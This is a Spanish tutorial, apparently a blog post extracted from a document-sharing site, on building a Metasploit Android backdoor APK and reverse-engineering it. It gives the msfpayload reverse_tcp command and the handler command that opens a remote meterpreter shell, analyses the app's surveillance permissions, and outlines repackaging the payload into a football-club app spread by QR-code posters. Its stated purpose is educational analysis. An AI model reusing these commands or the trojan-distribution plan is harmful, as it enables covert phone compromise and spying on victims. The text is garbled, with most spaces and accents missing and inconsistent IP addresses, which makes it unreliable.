Вы находитесь на странице: 1из 7

IngenieraInversaaunaAPKmaliciosa

MuygrandelajornadaqueechamosenlaHack&BeersVol.2sobreMobileSecurityconmuchosamigos.Agradecerosa
todos,asistentesycompaerosdecharlas,vuestrasaportacioneseinters.Puesbien,siguiendoconlacharladeseguridad
deAndroidyviendoqutanfcileshacerlelaingenierainversaaunaAPKdeAndroid,nosotrosvamosairunpocoms
allyvamosaobtenerelcdigofuentedeunAPKmaliciosacreadaporMetaesploit,asquevamosmanosalaobra.
Antesdenadaosmuestroloqueseraelsupuestoescenariodeataquedemaneravisualparaqueloentendismejor:

CREANDOUNAAPKMALICIOSA
VamosacrearunaAPKparaAndroidmaliciosa,paraelloloharemosdesdeKaliLinux,haciendousodelasherramientasdel
frameworkMetasploit.DesdeconsolavamosausarelcomandomsfpayloadparainyectarunpayloaddentrodelaAPK.
PrimerovemoslospayloaddisponiblesparaAndroid:

Vamos a seleccionar un payload que nos devuelva una sesin de meterpreter y que sea del tipo reverse_tcp. Para ello
ponemoselsiguientecomando:
msfpayloadandroid/meterpreter/reverse_tcpLHOST=192.168.0.5LPORT=4444R>backdoor.apk
Ademstambinhemosconfigurandoelequipoalqueseconecta(LHOST)yelpuertodeconexn(LPORT),parainyectarlo
enlaaplicacinmaliciosa.
DeestamaneracualquierusuarioqueseinstalelaAPK(backdoor.apk)vaalanzarunasesindemeterpreteralamquina
192.168.1.10 que estar escuchando en el puerto 4444 (ver el escenario de ataque). Para que la mquina con Metasploit
estescuchandodebemoshacerusodelexploit/multi/handlerconelpayloadandroid/meterpreter/reverse_tcpyconfigurarlo
conlosparmetrosconloscualescreamoslaaplicacinmaliciosa.
msfcliexploit/multi/handlerPAYLOAD=android/meterpreter/reverse_tcpLHOST=192.168.0.5LPORT=4444E

Peroelobjetivodehoynoescompromenterelterminal,sinoobtenerelcdigodedichaaplicacinmaliciosaparaanalizarlo.
INGENIERAINVERSADELAAPK
Unavezquetenemoslabackdoor.apkvamosaseguirlossiguientespasos,haciendousodeherramientas(apktool,dex2jar
yjdgui)queyanombramosenentradasanteriores:
Obtencindelficherodemanifiesto:
1. DesempaquetamoslaAPKconlaaplicacinapktool"apktooldbackdoor.apk"y se nos crea una carpeta con con
varias carpetas y ficheros. Dentro podemos encontrar, entre otras cosas, nuestro tan famoso fichero de
manifiestoAndroidManifest.xml.
ObtencindelosficherosJAVA:
1. Renombramos la APK como backdoor.zip y descomprimimos dicho paquete en una carpeta que
llamaremos backdoorzip. El fichero que ms nos interesa es el classes.dex, donde tendremos las clases de la
aplicacinenformatodex(cdigoparalaDalvikVM).
2. Incluimos dentro de esta misma carpeta todos los ficheros del paquete dex2jar y ejecutamos el comando "dex2jar
classes.dex". Obtendremos por tanto el fichero classes_dex2jar.jar, donde tenemos las clases de la aplicacin en
formatojar.
3. Por ltimo cogemos el fichero jar y los abrimos con la aplicacin jdgui. Podemos ver todas las clases de la
aplicacinenformatojava.AhorapulsamossobreFile>SaveAllSourcesygrabamosdichosficherosenlacarpeta
queindiquemos,obtenemoselpaqueteclasses_dex2jar.src.zipcontodaslasclases

ANALIZANDOCDIGO
PrimeramentevamosaanalizarelarchivodemanifiestoAndroidManifest.xml.

Permisosquesolicita:
android.permission.INTERNET:Permitealasaplicacionesabrirsocketsdered.
android.permission.ACCESS_NETWORK_STATE: Permite que las aplicaciones accedan a informacin sobre
redes.
android.permission.ACCESS_COURSE_LOCATION: Permite que una aplicacin acceda a la ubicacin
aproximadaderivadodelasfuentesdeubicacindered,talescomotorresdetelefonamvilyWiFi.
android.permission.ACCESS_FINE_LOCATION: Permite que una aplicacin acceda a la ubicacin precisa de
fuentesdelocalizacincomoGPS,antenasdetelefonamvilyWiFi.
android.permission.READ_PHONE_STATE:Permiteaccesoalestadodeltelfono
android.permission.SEND_SMS:PermitequeunaaplicacinenvemensajesSMS.
android.permission.RECEIVE_SMS:PermitequeunaaplicacinrecibamensajesSMS.
android.permission.RECORD_AUDIO:Permitequeunaaplicacinparagrabaraudio
android.permission.CALL_PHONE:Permitequeunaaplicacinparainiciarunallamadadetelfonosintenerque
pasaratravsdelainterfazdeusuariodelsintonizadorparaelusuarioparaconfirmarlallamadadesercolocado.
android.permission.READ_CONTACTS:PermitequeunaaplicacinlealosdatosdeContactosdelusuario.
android.permission.WRITE_CONTACTS: Permite que una aplicacin escriba en los datos de Contactos del
usuario.
android.permission.WRITE_SETTINGS:Permitequeunaaplicacinleeroescribirlaconfiguracindelsistema.
android.permission.CAMERA:Accesoatodaslasfuncionesdelacmara.
Si vemos detenidamente todos los procesos, podemos hacer casi cualquier cosa con estos permisos, y sobre todo de
maneraremota,yaquetenemospermisoparaabrirsocketycambiarconfiguracindesistema.Podemoshacerllamadas a
nmeros de tarificacin especial, obtencin de fotografas en vivo, venta de contactos a terceros, grabar las
coversaciones,localizaralapersonaporsuposicinGPSyunlargoetc.

Otrainformacininteresansequepodemosencontrareslasiguiente:
android:name=".MainActivity": Es la clase principal desde donde se carga el LAUNCHER de la actividad
principal, es decir, cuando arranca la aplicacin es la clase que tiene el hilo principal de ejecucin. Muy
importantealahoradequeanalicemoselcdigoysaberdesdedondeempezar.
android:theme="@android:style/Theme.NoDisplay": Es el estilo que va a utilizar la actividad principal, que en
este caso se trata de un estilo especial que no contiene interfaz de usuario. Por tanto nuestro cdigo
simplementesevaaejecutarynonosvaamostrarnadaenpantalla,esosi,enmemoriasivaaestarpresente.
Pasamosahoraaanalizarlosarchivos.JAVAencontradosenelclasses_dex2jar.src.zip:

SicontrolamosalgodetemasdeprogramacinenAndroid,asimplevistapodemosidentificarlafuncindecadaficherode
cdigo:
MainActivity.java:claseprincipaldelaaplicacin,yaquelovimosenelmanifiesto.
BuildConfig.java:claseconinformacindeconfiguracinalahoradedesarrollarlaapk.
R.java:clasequesecreaautomticamenteencualquieraplicacinapk,dondeseasignaunidentificador
numricoacadaunodelosrecursosutilizadosenlaaplicacin.
Payload.javayPayloadTrusManage.java:sonclasespropiasdelproyectoensi,queahorapasaremosa
analizar.
VemoselMainActivitydelabackdoor:

Podemos encontrar que nada ms crearse la actividad principal (mtodo onCreate) y llamar al constructor de la clase
(super.onCreate),losiguientequehaceesllamaraunmtododeclasedelaclasePayload,paraposteriormentefinalizar
laejecucin(finish).Seguramenteenestemtododeclaseselanceotrohilodeejecucin,yaqueelhiloprincipalmuerecon
elfinish.VamosaverlaclasePayload:

Para empezar vemos en el cdigo que hay gran cantidad de libreras importadas que nos dan mucho juego como
manejadores (Handler), entrada y salida de datos (DataInputStream y DataOutputStream), entrada y salida de ficheros
(FileyFileOutputStream),socket(Socket),conexioneshttps(HttpsURLConnection),etc.
Si seguimos viendo cdigo, en la declaracin de atributos de la clase Payload vemos dos atributos bastante
interesantes:LHOST y LPORT, que no son sino la direccin IP y el puerto de conexin de nuestra mquina donde estar
escuchando Metasploit. Vemos que forman parte de unas cadenas con ms caracteres, de manera que un analizador de
cdigonopuedaidentificarfcilmenteunadireccinIPopuerto.
UTILIZANDOELCDIGOYUNPOQUITODEINGENIERASOCIAL
Podamosseguiranalizandoelcdigofuentepasoapasoyobtenerfunciones
comoreverseTCP,reverseHTTP,startReverseConn,etc.Peroenvezdeeso,hemoscreadounaaplicacindelCrdoba
C.F.,aprovechandoquesomosequipodeprimera,ylehemosinyectadoelcdigodelPayloadanalizado.

Estolopodrautilizarunapersonaconmalasintencionesyahoraslotendraqueecharlaimaginacinavolaryutilizarla
IngenieraSocialparadivulgarlaAPKmaliciosa,comoporejemplocolgarestecartelenlosalrededoresdelestadio.

OspodisdescargarsinproblemaslaAPKdesdeelcdigoQRporquelaaplicacinestapuntandoaunadireccinIPlocal
yporquelehequitadotodoelcdigoreferentealasfuncionesdemeterpreter,esdecir,slorealizalaconexinreverse_tcp,
peronorespondebajoningncomandodelosdemeterpreter.

Вам также может понравиться